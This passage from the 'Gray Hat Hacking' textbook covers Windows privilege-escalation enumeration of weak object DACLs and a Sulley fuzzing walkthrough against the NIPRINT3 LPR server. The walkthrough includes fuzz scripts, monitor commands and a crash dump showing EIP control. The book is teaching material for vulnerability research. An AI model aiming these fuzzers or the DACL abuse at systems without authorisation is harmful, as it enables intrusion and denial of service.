C:\tools>pipeacl.exe \??\Pipe\lsass
Revision: 1
Reserved: 0
Control : 8004
Owner: BUILTIN\Administrators (S-1-5-32-544)
Group: SYSTEM (S-1-5-18)
Sacl: Not present
Dacl: 3 aces
(A) (00) 0012019b : Everyone (S-1-1-0)
(A) (00) 0012019b : Anonymous (S-1-5-7)
(A) (00) 001f01ff : BUILTIN\Administrators (S-1-5-32-544)
The Process Explorer GUI will also display the security descriptor for named pipes.
Gray Hat Hacking: The Ethical Hacker’s Handbook
438
Chapter 16: Exploiting Windows Access Control Model for Local Elevation of Privilege
439
PART IV
References
PipeList download location http://download.sysinternals.com/Files/PipeList.zip
PipeACL download location www.bindview.com/Services/RAZOR/Utilities/Windows/
pipeacltools1_0.cfm
Enumerating Processes
Sometimes processes apply a custom security descriptor and get it wrong. If you find a
process or thread granting write access to an untrusted or semi-trusted user, an attacker
can inject shellcode directly into the process or thread. Or an attacker might choose to
simply commandeer one of the file handles that was opened by the process or thread to
gain access to a file they wouldn’t normally be able to access.Weak DACLs enable many
different possibilities. AccessChk is your tool to enumerate process DACLs.
C:\tools>accesschk.exe -pq *
[4] System
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[856] smss.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[904] csrss.exe
RW NT AUTHORITY\SYSTEM
[936] winlogon.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[980] services.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[992] lsass.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
[1188] svchost.exe
RW NT AUTHORITY\SYSTEM
RW BUILTIN\Administrators
Cesar Cerrudo, an Argentinean pen-tester who focuses on Windows Access Control,
recently released a “Practical 10 minutes security audit” guide with one of the examples
being a NULLDACL on an Oracle process allowing code injection. You can find a link to
it in the “Reference” section.
Reference
Practical 10 minutes security audit Oracle case www.argeniss.com/research/
10MinSecAudit.zip
Enumerating Other Named Kernel Objects
(Semaphores, Mutexes, Events, Devices)
While there might not be an elevation of privilege opportunity in tampering with other
kernel objects, an attacker could very likely induce a denial-of-service condition if
Gray Hat Hacking: The Ethical Hacker’s Handbook
440
allowed access to other named kernel objects. AccessChk will enumerate each of these
and will show their DACL. Here are some examples.
\BaseNamedObjects\shell._ie_sessioncount
Type: Semaphore
W Everyone
SEMAPHORE_MODIFY_STATE
SYNCHRONIZE
READ_CONTROL
RW BUILTIN\Administrators
SEMAPHORE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SEMAPHORE_ALL_ACCESS
\BaseNamedObjects\{69364682-1744-4315-AE65-18C5741B3F04}
Type: Mutant
RW Everyone
MUTANT_ALL_ACCESS
\BaseNamedObjects\Groove.Flag.SystemServices.Started
Type: Event
RW NT AUTHORITY\Authenticated Users
EVENT_ALL_ACCESS
\Device\WinDfs\Root
Type: Device
RW Everyone
FILE_ALL_ACCESS
It’s hard to know whether any of the earlier bad-looking DACLs are actual vulnerabilities.
For example, Groove runs as the logged-in user. Does that mean a Groove synchronization
object should grant all Authenticated Users EVENT_ALL_ACCESS? Well,
maybe. It would take more investigation into how Groove works to know how this event
is used and what functions rely on this event not being tampered with. And Process
Explorer tells us that {69364682-1744-4315-AE65-18C5741B3F04} is a mutex owned
by Internet Explorer. Would an untrusted user leveraging MUTANT_ALL_ACCESS ->
WRITE_DAC -> “deny all” cause an Internet Explorer denial of service? There’s an easy
way to find out! Another GUI SysInternals tool called WinObj allows you to change
mutex security descriptors.
Windows Access Control is a fun field to study because there is so much more to
learn!We hope this chapter whets your appetite to research access control topics. Along
the way, you’re bound to find some great security vulnerabilities.
References
www.grayhathackingbook.com
WinObj download www.microsoft.com/technet/sysinternals/SystemInformation/
WinObj.mspx
441
CHAPTER17 Intelligent Fuzzing
with Sulley
• Protocol analysis
• Sulley fuzzing framework
• Powerful fuzzer
• Process fault detection
• Network monitoring
• Session monitoring
In Chapter 14,we have covered basic fuzzing. The problem with basic fuzzing is that you
often only scratch the surface of a server’s interfaces and rarely get deep inside the server
to find bugs. Most real servers have several layers of filters and challenge/response mechanisms
that prevent basic fuzzers from getting very far. Recently, a new type of fuzzing
has arrived called intelligent fuzzing. Instead of blindly throwing everything but the
kitchen sink at a program, techniques have been developed to analyze how a server
works and to customize a fuzzer to get past the filters and reach deeper inside the server
to discover even more vulnerabilities. To do this effectively, you need more than a fuzzer.
First, you will need to conduct a protocol analysis of the target. Next, you need a way to
fuzz that protocol and get feedback from the target as to how you are doing. As we will
see, the Sulley fuzzing framework automates this process and allows you to intelligently
sling packets across the network.
Protocol Analysis
Since most servers perform a routine task and need to interoperate with random clients
and other servers, most servers are based on some sort of standard protocol. The Internet
Engineering Task Force (IETF) maintains the set of protocols that form the Internet aswe
know it. So the best way to find out how a server, for example, a LPR server, operates is to
look up the Request for Comments (RFC) document for the LPR protocol, which can be
found on www.ietf.org as RFC 1179.
Here is an excerpt from the RFC 1179 (see reference: www.ietf.org/rfc/rfc1179.txt):
"3.1 Message formats
LPR is a a TCP-based protocol. The port on which a line printer
daemon listens is 515. The source port must be in the range 721 to
731, inclusive. A line printer daemon responds to commands sent to
its port. All commands begin with a single octet code, which is a
binary number which represents the requested function. The code is
immediately followed by the ASCII name of the printer queue name on
which the function is to be performed. If there are other operands
to the command, they are separated from the printer queue name with
white space (ASCII space, horizontal tab, vertical tab, and form
feed). The end of the command is indicated with an ASCII line feed
character."
NOTE As we can see in the preceding excerpt, the RFC calls for the source
port to be in the range 721–731 inclusive. This could be really important. If
the target LPR daemon conformed to the standard; it would reject all requests
that were outside this source port range. The target we are using (NIPRINT3)
does not conform to this standard. If it did, no problem,we would have to ensure we sent
packets in that source port range.
And further down in the RFC, you will see diagrams of LPR daemon commands:
Source: http://www.ietf.org/rfc/rfc1179.txt
5.1 01 - Print any waiting jobs
+----+-------+----+
| 01 | Queue | LF |
+----+-------+----+
Command code - 1
Operand - Printer queue name
This command starts the printing process if it not already running.
5.2 02 - Receive a printer job
+----+-------+----+
| 02 | Queue | LF |
+----+-------+----+
Command code - 2
Operand - Printer queue name
Receiving a job is controlled by a second level of commands. The
daemon is given commands by sending them over the same connection.
The commands are described in the next section (6).
After this command is sent, the client must read an acknowledgement
octet from the daemon. A positive acknowledgement is an octet of
zero bits. A negative acknowledgement is an octet of any other
pattern.
And so on…
Gray Hat Hacking: The Ethical Hacker’s Handbook
442
From this, we can see the format of commands the LPR daemon will accept.We know
the first octet (byte) gives the command code. Next comes the printer queue name, followed
by an ASCII line feed (LF) command (“\n”).
As we can see in the preceding, the command code of “\x02” tells the LPR daemon to
“receive a printer job.” At that point, the LPR daemon expects a series of subcommands,
which are defined in section (6) of the RFC.
This level of knowledge is important, as now we know that if we want to fuzz deep
inside a LPR daemon, we must use this format with proper command codes and syntax.
For example, when the LPR daemon receives a command to “receive a printer job,” it
opens up access to a deeper section of code as the daemon accepts and processes that
printer job.
We have learned quite a bit about our target daemon that will be used throughout the
rest of this chapter. As you have seen, the RFC is invaluable to understanding a protocol
and allows you to know your target.
Reference
RFC for LPR protocol www.ietf.org/rfc/rfc1179.txt
Sulley Fuzzing Framework
Pedram Amini has done it again! He has brought us Sulley, the newest fuzzing framework
as of the writing of this book. Sulley gets its name from the fuzzy character in the
movie Monsters Inc. This tool is truly revolutionary in that it provides not only a great
fuzzer and debugger, but also the infrastructure to manage a fuzzing session and conduct
postmortem analysis.
Installing Sulley
Download the latest version of Sulley fromwww.fuzzing.org. Install the Sulley program to
a folder in the path of both your host machine and your virtual machine target. This is best
done by establishing a shared folder within the target virtual machine and pointing it to
the same directory in which you installed Sulley on the host. To make things even easier,
you can map the shared folder to a drive letter from within your target virtual machine.
Powerful Fuzzer
You will find that Sulley is a nimble yet very powerful fuzzer based on Dave Aitel’s blockbased
fuzzing approach. In fact, if you know Dave’s SPIKE fuzzing tool, you will find
yourself at home with Sulley. Sulley organizes the fuzzing data into requests. As we will
see later, you can have multiple requests and link them together into what is called a session.
You can start a request by using the s_initialize function, for example:
s_initialize("request1")
The only required argument for the s_initialize function is the request name.
Chapter 17: Intelligent Fuzzing with Sulley
443
PART IV
Gray Hat Hacking: The Ethical Hacker’s Handbook
444
Primitives
Now that we have a request initialized, let’s build on that by adding primitives, the building
blocks of fuzzing.We will start out simple and build up to more complex fuzzing structures.
When youwant to request a fixed set of data that is static, you can use the s_static function.
Syntax:
s_static("default value", , , )
NOTE As with the other functions of this section, the required arguments
are shown in quotes and the optional arguments are shown in angle brackets.
Example:
s_static("hello haxor")
Sulley provides alternate but equivalent forms of s_static:
s_dunno("hello haxor")
s_unknown("hello haxor")
s_raw("hello haxor")
All of these provide the same thing, a static string “hello haxor” that will not be fuzzed.
Using Binary Values
With Sulley it is easy to represent binary values in many formats using the s_binary
primitive.
Syntax:
s_binary("default value", , , )
Example:
s_binary("\xad 0x01 0x020x03 da be\x0a", name="crazy")
Generating Random Data
With Sulley it is easy to generate random chunks of data, using the s_random primitive.
This primitive will start with the default value, then generate from the minimum size to the
maximum size of random blocks of data. When it finishes, the default value will be presented.
If you want a fixed size of random data, then set min and max to the same value.
Syntax:
s_random("default raw value", "min", "max", , , mutations>)
NOTE Although min and max size are required arguments, if you want a
random size of random data for each request, then set the max size to –1.
Chapter 17: Intelligent Fuzzing with Sulley
445
PART IV
Example:
s_random("\xad 0x01 0x020x03 da be\x0a", 1, 7, name="nuts")
Strings and Delimiters
When you want to fuzz a string, use the s_string function.
Syntax:
s_string("default value", , , , , )
The first fuzz request will be the default value; then if the fuzzable argument is set (On
by default), the fuzzer will randomly fuzz that string. When finished fuzzing that string,
the default value will be sent thereafter.
Some strings have delimiters within them; they can be designated with the s_delim()
function. The s_delim() function accepts the optional arguments fuzzable and name.
Examples:
s_string("Hello", name="first_part")
s_delim(" ")
s_string("Haxor!", name="second_part")
The preceding sequence will fuzz all three portions of this string sequentially since the
fuzzable argument is True by default.
Bit Fields
Bit fields are used to represent a set of binary flags. Some network or file protocols call
for the use of bit fields. In Sulley, you can use the s_bit_field function.
Syntax:
s_bit_field("default value", "size", , , ,
, ,
)
Other names for s_bit_field:
• s_bit
• s_bits
Example:
s_bits(5,3, full_range=True) # this represents 3 bit flags, initially "101"
Integers
Integers may be requested and fuzzed with the s_byte function.
Syntax:
s_byte("default value", , , , , ,
)
Gray Hat Hacking: The Ethical Hacker’s Handbook
446
Other sizes of integers:
• 2 bytes: s_word(), s_short()
• 4 bytes: s_dword(), s_long(), s_int()
• 8 bytes: s_qword(), s_double()
Examples:
s_byte(1)
s_dword(23432, name="foo", format="ascii")
Blocks
Now that you have the basics down, keep going by lumping several primitives together
into a block.
Syntax:
s_block_start("required name", , , ,,
, )
s_block_end("optional name")
The interesting thing about blocks is that they may be nested within other blocks. For
example:
if s_block_start("foo"):
s_static("ABC")
s_byte(2)
if s_block_start("bar"):
s_string("123")
s_delim(" ")
s_string("ABC")
s_block_end("bar")
s_block_end("foo")
We can test this fuzz block with a simple test harness:
from sulley import *
#############################################################################
s_initialize("foo request")
if s_block_start("foo"):
s_static("ABC")
s_byte(2) #will be fuzzed first
if s_block_start("bar"):
s_string("123") #will be fuzzed second
s_delim(" ")
s_string("ABC")
s_block_end("bar")
s_block_end("foo")
#######################################
req1 = s_get("foo request")
PART IV
for i in range(req1.names["foo"].num_mutations()) :
print(s_render())
s_mutate()
The preceding program is simple and will print our fuzz strings to the screen so we
can ensure the fuzzer is working as we desire. The program works by first defining a basic
request called “foo request”. Next the request is fetched from the stack with s_get function
and a for loop is set up to iterate through the permutations of the fuzzed block,
printing on each iteration. We can run this program from the sulley directory.
{common host-guest path to sulley}>python foo2.py
ABC 123 ABC
ABC 123 ABC
ABC123 ABC
ABC 123 ABC
ABC♥123 ABC
ABC♦123 ABC
ABC♣123 ABC
ABC♠123 ABC
ABC 123 ABC
AB 123 ABC
ABC 123 ABC
ABCu123 ABC
ABCv123 ABC
… truncated for brevity …
ABC ABC
ABC 123123 ABC
ABC 123123123123123123123123123123 ABC
ABC 123123123123123123123123123123123123123123123123123123123123123123123123
23123123123123123123123123123123123123123123123123123123123123123123123123123
12312312312312312312312312312312312312312312312312312312312312312312312312312
3123123123123123123123123123123123123123123123123123123123123123 ABC
ABC /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Press CTRL-C to end the script. As you can see, the script fuzzed the byte first; a while
later it started to fuzz the string, and so on.
Groups
Groups are used to pre-append a series of values on the block. For example, if we wanted
to fuzz an LPR request, we could use a group as follows:
from sulley import *
#############################################################################
s_initialize("LPR shallow request")
Chapter 17: Intelligent Fuzzing with Sulley
447
Gray Hat Hacking: The Ethical Hacker’s Handbook
448
#Command Code (1 byte)|Operand|LF
s_group("command",values=['\x01','\x02','\x03','\x04','\x05'])
if s_block_start("rcv_request", group="command"):
s_string("Queue")
s_delim(" ")
s_static("\n")
s_block_end()
This script will pre-append the command values (one byte each) to the block. For
example, the block will fuzz all possible values with the prefix ‘\x01’. Then it will repeat
with the prefix ‘\x02’, and so on, until the group is exhausted. However, this is not quite
accurate enough, as each of the different command values has a different format outlined
in the RFC. That is where dependencies come in.
Dependencies
When you need your script to make decisions based on a condition, then you can use
dependencies. The dep argument of a block defines the name of the object to check and
the dep_value argument provides the value to test against. If the dependant object equals
the dependant value, then that block will be rendered. This is like using the if/then construct
in languages like C or Python.
For example, to use a group and change the fuzz block for each command code, we
could do the following:
#############################################################################
s_initialize("LPR deep request")
#Command Code (1 byte)|Operand|LF
s_group("command",values=['\x01','\x02','\x03','\x04','\x05'])
# Type 1,2: Receive Job
if s_block_start("rcv_request", dep="command", dep_values=['\x01', '\x02']):
s_string("Queue")
s_delim(" ")
s_static("\n")
s_block_end()
#Type 3,4: Send Queue State
if s_block_start("send_queue_state", dep="command", dep_values=['\x03','\x04']):
s_string("Queue")
s_static(" ")
s_string("List")
s_static("\n")
s_block_end()
#Type 5: Remove Jobs
if s_block_start("remove_job", dep="command", dep_value='\x05'):
s_string("Queue")
s_static(" ")
s_string("Agent")
s_static(" ")
s_string("List")
s_static("\n")
s_block_end()
# and so on... see RFC for more cases
Chapter 17: Intelligent Fuzzing with Sulley
449
PART IV
To use this fuzz script later, add the two earlier code blocks (“shallowrequest” and “deep
request” to a file called {common host-guest path to sulley}\request\lpr.py.
NOTE There are many other helpful functions in Sulley but we have enough
to illustrate an intelligent LPR fuzzer at this point.
Sessions
Now that we have defined several requests in a fuzz script called sulley\request\lpr.py,
let’s use them in a fuzzing session. In Sulley, sessions are used to define the order in
which the fuzzing takes place. Sulley uses a graph with nodes and edges to represent the
session and then walks each node of the graph to conduct the fuzz. This is a very powerful
feature of Sulley and will allow you to create some very complex fuzzing sessions.We
will keep it simple and create the following session driver script in the sulley main
directory:
{common host-guest path to sulley}\fuzz_niprint_lpr_servert_515.py
import time
from sulley import *
from requests import lpr
# establish a new session
sess = sessions.session(session_filename="audits/niprint_lpr_515_a.session",\
crash_threshold=10)
# add nodes to session graph.
sess.connect(s_get("LPR shallow request")) #shallow fuzz
sess.connect(s_get("LPR deep request")) #deep fuzz, with correct formats
# render the diagram for inspection (OPTIONAL)
fh = open("LPR_session_diagram.udg", "w+")
fh.write(sess.render_graph_udraw())
fh.close()
print "graph is ready for inspection"
NOTE The crash_threshold option allows us to move on once we get a
certain number of crashes.
Now we can run the program and produce the session graph for visual inspection.
{common host-guest path to sulley}>mkdir audits # keep audit data here
{common host-guest path to sulley}>python fuzz_niprint_lpr_servert_515.py
graph is ready for inspection
Gray Hat Hacking: The Ethical Hacker’s Handbook
450
Open session graph with uDraw:
{common host-guest path to sulley}>"c:\Program Files\uDraw(Graph)\bin\
uDrawGraph.exe"
LPR_session_diagram.udg
Figure 17-1 should appear. As you can see, Sulley will first fuzz the “LPR shallow
request,” then the “LPR deep request.”
NOTE We are not doing justice to the session feature of Sulley; see
documentation for a description of the full capability here.
Before we put our fuzzer into action, we need to instrument our target (which is running
in VMware) so that we can track faults and network traffic.
Monitoring the Process for Faults
Sulley provides a fantastic fault monitoring tool that works within the target virtual
machine and attaches to the target process and records any nonhandled exceptions as
they are found. The request ID number is captured and feedback is given to the Sulley
framework through the PEDRPC custom binary network protocol.
Figure 17-1 uDraw™ representation of the Sulley session graph
Chapter 17: Intelligent Fuzzing with Sulley
451
PART IV
NOTE To start the process_monitor script, you will need to run it from a
common directory with the host machine.
We will create a place to keep our audit data and launch the process_monitor.py
script from within the target virtual machine as follows:
{common host-guest path to sulley}>mkdir audits # not needed if done
previously
{common host-guest path to sulley}>python process_monitor.py -c audits\
niprint_lpr_515_a.crashbin -l 5
[02:00.15] Process Monitor PED-RPC server initialized:
[02:00.15] crash file: audits\niprint_lpr_515_a.crashbin
[02:00.15] # records: 0
[02:00.15] proc name: None
[02:00.15] log level: 5
[02:00.15] awaiting requests...
As you can see, we created a crashbin to hold all of our crash data for later inspection. By
convention, use the audits folder to hold current fuzz data.We have also set the logging
level to 5 in order to see more output during the process.
At this point, the process_monitor.py script is up and running and ready to attach to a
process.
Monitoring the Network Traffic
After the fuzzing session is over, we would like to inspect network traffic and quickly
find the malicious packets that caused a particular fault. Sulley makes this easy by providing
the network_monitor.py script.
We will launch the network_monitor.py script from within the virtual machine as
follows:
{common host-guest path to sulley}>mkdir audits\niprint_lpr_515
{common host-guest path to sulley}>python network_monitor.py -d 1 -f "src or dst
port 515" -–log_path audits\niprint_lpr_515 -l 5
[02:00.27] Network Monitor PED-RPC server initialized:
[02:00.27] device: \Device\NPF_{F581AFA3-D42D-4F5D-8BEA-55FC45BD8FEC}
[02:00.27] filter: src or dst port 515
[02:00.27] log path: audits\niprint_lpr_515
[02:00.27] log_level: 5
[02:00.27] Awaiting requests...
Noticewe have started sniffing on interface [1].We assigned a pcap storage directory and
a Berkley Packet Filter (BPF) of “src or dst port 515” since we are using the LPR protocol.
Again, we set the logging level to 5.
At this point, we ensure our target application (NIPRINT3) is up and running, ensure
we can successfully connect to it from our host, and we save a snapshot called “sulley”.
Once the snapshot is saved, we close VMware.
Controlling VMware
Now that we have our target set up in a virtual machine and saved in a snapshot, we can
control it from the host with the vmcontrol.py script.
We will launch the vmcontrol.py script in interactive mode from the host as follows:
C:\Program Files\Sulley Fuzzing Framework>python vmcontrol.py -i
[*] Entering interactive mode...
[*] Please browse to the folder containing vmrun.exe...
[*] Using C:\Program Files\VMware\VMware Workstation\vmrun.exe
[*] Please browse to the folder containing the .vmx file...
[*] Using G:\VMs\WinXP5\Windows XP Professional.vmx
[*] Please enter the snapshot name: sulley
[*] Please enter the log level (default 1): 5
[02:01.49] VMControl PED-RPC server initialized:
[02:01.49] vmrun: C:\PROGRA~1\VMware\VMWARE~1\vmrun.exe
[02:01.49] vmx: G:\VMs\WinXP5\WINDOW~1.VMX
[02:01.49] snap name: sulley
[02:01.49] log level: 5
[02:01.49] Awaiting requests...
At this point, vmcontrol.py is ready to start accepting commands and controlling the
target virtual machine by resetting the snapshot as necessary. You don’t have to worry
about this; it is all done automagically by Sulley.
NOTE if you get an error when running this script that says:
[!] Failed to import win32api/win32com modules, please install these! Bailing...,
you need to install the win32 extensions to Python, which can be found at:
http://starship.python.net/crew/mhammond/win32/.
Putting It All Together
We are now ready to put it all together and start our fuzzing session. Since we have
already built the session, we just need to enable a few more actions in the fuzzing session
script.
The following code can be placed at the bottom of the existing file:
{common host-guest path to sulley}\fuzz_niprint_lpr_servert_515.py
#######################################################################
#set up target for session
target = sessions.target("10.10.10.130", 515)
#set up pedrpc to talk to target agent.
target.netmon = pedrpc.client("10.10.10.130", 26001)
target.procmon = pedrpc.client("10.10.10.130", 26002)
target.vmcontrol = pedrpc.client("127.0.0.1", 26003)
target.procmon_options = \
{
"proc_name" : "NIPRINT3.exe",
# "stop_commands" : ['net stop "NIPrint Service"'],
# "start_commands" : ['net start "NIPrint Service"'],
}
Gray Hat Hacking: The Ethical Hacker’s Handbook
452
Chapter 17: Intelligent Fuzzing with Sulley
453
PART IV
#start up the target.
target.vmcontrol.restart_target()
print "virtual machine up and running"
# add target to session.
sess.add_target(target)
#start the fuzzing by walking the session graph.
sess.fuzz()
print "done fuzzing. web interface still running."
This code sets up the target for the fuzzing session and provides arguments for the
process_monitor script. Next the virtual machine target snapshot is reset, we add the target
to the session, and the fuzzing begins.We commented-out the service start and stop
commands, as the version of NIPRINT3 we are using has a demo banner that requires
user interaction when the process starts, so we will not be using the service start/stop
capability of Sulley for this server.
We can run this program as before; however, now the fuzzing session will begin and
requests will be sent to the target host over port 515.
{common host-guest path to sulley}>python fuzz_niprint_lpr_servert_515.py
graph is ready for inspection
virtual machine up and running
[02:02.17] current fuzz path: -> LPR shallow request
[02:02.18] fuzzed 0 of 12073 total cases
[02:02.18] fuzzing 1 of 5595
[02:02.31] xmitting: [1.1]
[02:02.45] netmon captured 451 bytes for test case #1
[02:02.50] fuzzing 2 of 5595
[02:02.50] xmitting: [1.2]
[02:02.53] netmon captured 414 bytes for test case #2
[02:02.54] fuzzing 3 of 5595
[02:02.55] xmitting: [1.3]
[02:02.56] netmon captured 414 bytes for test case #3
…truncated for brevity…
[02:03.06] fuzzing 8 of 5595
[02:03.06] xmitting: [1.8]
[02:03.07] netmon captured 909 bytes for test case #8
[02:03.07] fuzzing 9 of 5595
[02:03.08] xmitting: [1.9]
[02:03.09] netmon captured 5571 bytes for test case #9
[02:03.16] procmon detected access violation on test case #9
[02:03.16] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 452
caused access violation
[02:03.17] restarting target virtual machine
PED-RPC> unable to connect to server 10.10.10.130:26002
PED-RPC> unable to connect to server 10.10.10.130:26002
[02:06.26] fuzzing 10 of 5595
[02:06.34] xmitting: [1.10]
[02:06.36] netmon captured 5630 bytes for test case #10
[02:06.43] procmon detected access violation on test case #10
[02:06.44] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 452
caused access violation
[02:06.44] restarting target virtual machine
Gray Hat Hacking: The Ethical Hacker’s Handbook
454
You should see your vmcontrol window react by showing the communication with
VMware™. Next you should see the virtual machine target reset and start to register packets
and requests. You will now see the request being sent to the target virtual machine
from the host, as shown earlier.
After the first request is sent, you may open your browser and point it to http://
127.0.0.1:26000/. Here you should see the Sulley Fuzz Control.
As of the writing of this book, you have to refresh this page manually to see updates.
Postmortem Analysis of Crashes
When you have seen enough on the Sulley Fuzz Control screen, you may stop the fuzzing
by killing the fuzzing script or by clicking Pause on the Sulley Fuzz Control screen. At
this point, you can browse the crashes you found by clicking the links in the Sulley Fuzz
Control screen or by using the crash_explorer.py script.
Youmay view a summary of the crashes found by pointing the script to your crashbin.
{common host-guest path to sulley}>python utils\crashbin_explorer.py audits\
niprint_lpr_515_a.crashbin
[2] [INVALID]:41414141 Unable to disassemble at 41414141 from thread 452 caused
access violation
9, 10,
[1] [INVALID]:5c2f5c2f Unable to disassemble at 5c2f5c2f from thread 452 caused
access violation
17,
Chapter 17: Intelligent Fuzzing with Sulley
455
PART IV
[1] [INVALID]:2e2f2e2f Unable to disassemble at 6e256e25 from thread 452 caused
access violation
18,
We stopped our fuzz session after a few minutes, but we already have some juicy results.
As you can see bolded in the preceding output, it looks like we controlled eip already.
Wow, as we know from Chapter 11, this is going to be easy from here.
Now, ifwewanted to see more details,we could drill-down on a particular test case.
{common host-guest path to sulley}>python utils\crashbin_explorer.py audits\
niprint_lpr_515_a.crashbin -t 9
[INVALID]:41414141 Unable to disassemble at 41414141 from thread 452 caused
access violation
when attempting to read from 0x41414141
CONTEXT DUMP
EIP: 41414141 Unable to disassemble at 41414141
EAX: 00000070 ( 112) -> N/A
EBX: 00000000 ( 0) -> N/A
ECX: 00000070 ( 112) -> N/A
EDX: 00080608 ( 525832) -> |ID{,9, (heap)
EDI: 004254e0 ( 4347104) -> Q|` (NIPRINT3.EXE.data)
ESI: 007c43a9 ( 8143785) -> /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: 77d4a2de (2010424030) -> N/A
ESP: 0006f668 ( 456296) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (stack)
+00: 41414141 (1094795585) -> N/A
+04: 41414141 (1094795585) -> N/A
+08: 41414141 (1094795585) -> N/A
+0c: 41414141 (1094795585) -> N/A
+10: 41414141 (1094795585) -> N/A
+14: 41414141 (1094795585) -> N/A
disasm around:
0x41414141 Unable to disassemble
SEH unwind:
0006fd50 -> USER32.dll:77d70494
0006ffb0 -> USER32.dll:77d70494
0006ffe0 -> NIPRINT3.EXE:00414708
ffffffff -> kernel32.dll:7c8399f3
The graphing option comes in handy when you have complex vulnerabilities and need
to visually identify the functions involved. However, this is a straightforward buffer
overflow and eip was smashed.
Analysis of Network Traffic
Nowthatwe have found some bugs in the target server, let’s look at the packets that caused
the damage. If you look in the sulley\audits\niprint_lpr_515 folder, you will find too
many pcap files to sort through manually. Even though they are numbered, we would like
to filter out all benign requests and focus on the ones that caused crashes. Sulley provides
a neat tool to do just that called pcap_cleaner.py. We will use the script as follows:
{common host-guest path to sulley}>python utils\pcap_cleaner.py audits\
niprint_lpr_515_a.crashbin audits\niprint_lpr_515
Now we are left with only pcap files containing the request that crashed the server. We
can open them in Wireshark and learn what caused the crash.
From Figure 17-2 we can see that a request was made to “start print job,” which started
with ‘\x01’ and a queue name ‘\x2f\x2e\x3a\x2f’ and then many As. The As overwrote eip
somewhere due to a classic buffer overflow. At this point, we have enough information to
produce a vulnerability notice to the vendor…oh wait, it has already been done!
Way Ahead
As you have seen, we have rediscovered the NIPRINT3 buffer overflow used in Chapter
11.However, there may be more bugs in that server or any other LPR server.We will leave
it to you to use the tools and techniques discussed in this chapter to explore further.
Gray Hat Hacking: The Ethical Hacker’s Handbook
456
Figure 17-2 Wireshark showing the packet that crashed the LPR server
References
www.grayhathackingbook.com
Dave Aitel, Block Based Fuzzing www.immunitysec.com/downloads/advantages_of_block_
based_analysis.pdf
Sulley Framework www.fuzzing.org
Pedram Amini, Paimei paimei.openrce.org
Sutton, Greene, Amini, Fuzzing: Brute Force Vulnerability Discovery (Addison-Wesley Professional,
2007)
Chapter 17: Intelligent Fuzzing with Sulley
457
PART IV
This page intentionally left blank
459
CHAPTER18 From Vulnerability
to Exploit
• Determining whether a bug is exploitable
• Using a debugger efficiently
• Understanding the exact nature of the problem
• Preconditions and postconditions for exploitation
• Repeating the problem reliably
• Payload construction considerations
• How to properly document the nature of a vulnerability
Whether you use static analysis, dynamic analysis, or some combination of both to discover
a problem with a piece of software, locating a potential problem or causing a program
to melt down in the face of a fuzzer onslaught is just the first step. With static
analysis in particular you face the task of determining exactly how to reach the vulnerable
code while the program is executing. Additional analysis followed by testing against
a running program is the only way to confirm that your static analysis is correct. Should
you provoke a crash using a fuzzer, you are still faced with the task of dissecting the
fuzzer input that caused the crash and understanding any crash dumps yielded by the
program you are analyzing. The fuzzer data needs to be dissected into the portions required
strictly for code path traversal, and the portions that actually generate an error
condition with the program.
Knowing that you can crash a program is a far cry from understanding exactly why the
program crashes. If you hope to provide any useful information to assist in patching
the software, it is important to gain as detailed an understanding as possible about the
nature of the problem. It would be nice to avoid this conversation:
Researcher: “Hey, your software crashes when I do this…”
Vendor: “Then don’t do that!”
Gray Hat Hacking: The Ethical Hacker’s Handbook
460
In favor of this one:
Researcher: “Hey, you fail to validate the widget field in your octafloogaron
application, which results in a buffer overflow in function umptiphratz. We’ve
got packet captures, crash dumps, and proof of concept exploit code to help
you understand the exact nature of the problem.”
Vendor: “All right, thanks, we will take care of that ASAP.”
Whether a vendor actually responds in such a positive manner is another matter. In fact,
if there is one truth in the vulnerability research business it’s that dealing with vendors
can be one of the least rewarding phases of the entire process. The point is that you have
made it significantly easier for the vendor to reproduce and locate the problem and
increased the likelihood that it will get fixed.
Exploitability
Crashability and exploitability are vastly different things. The ability to crash an application
is, at a minimum, a form of denial of service. Unfortunately, depending on the
robustness of the application, the only person whose service youmay be denying could
be you. For true exploitability, you are really interested in injecting and executing your
own code within the vulnerable process. In the next few sections, we discuss some of the
things to look for to help you determine whether a crash can be turned into an exploit.
Debugging for Exploitation
Developing and testing a successful exploit can take time and patience. A good debugger
can be your best friend when trying to interpret the results of a program crash. More specifically
a debugger will give you the clearest picture of how your inputs have conspired
to crash an application. Whether an attached debugger captures the state of a program
when an exception occurs, or whether you have a core dump file that can be examined, a
debugger will give you the most comprehensive view of the state of the application
when the problem occurred. For this reason it is extremely important to understand
what a debugger is capable of telling you and how to interpret that information.
NOTE We use the term exception to refer to a potentially unrecoverable
operation in a program that may cause that program to terminate
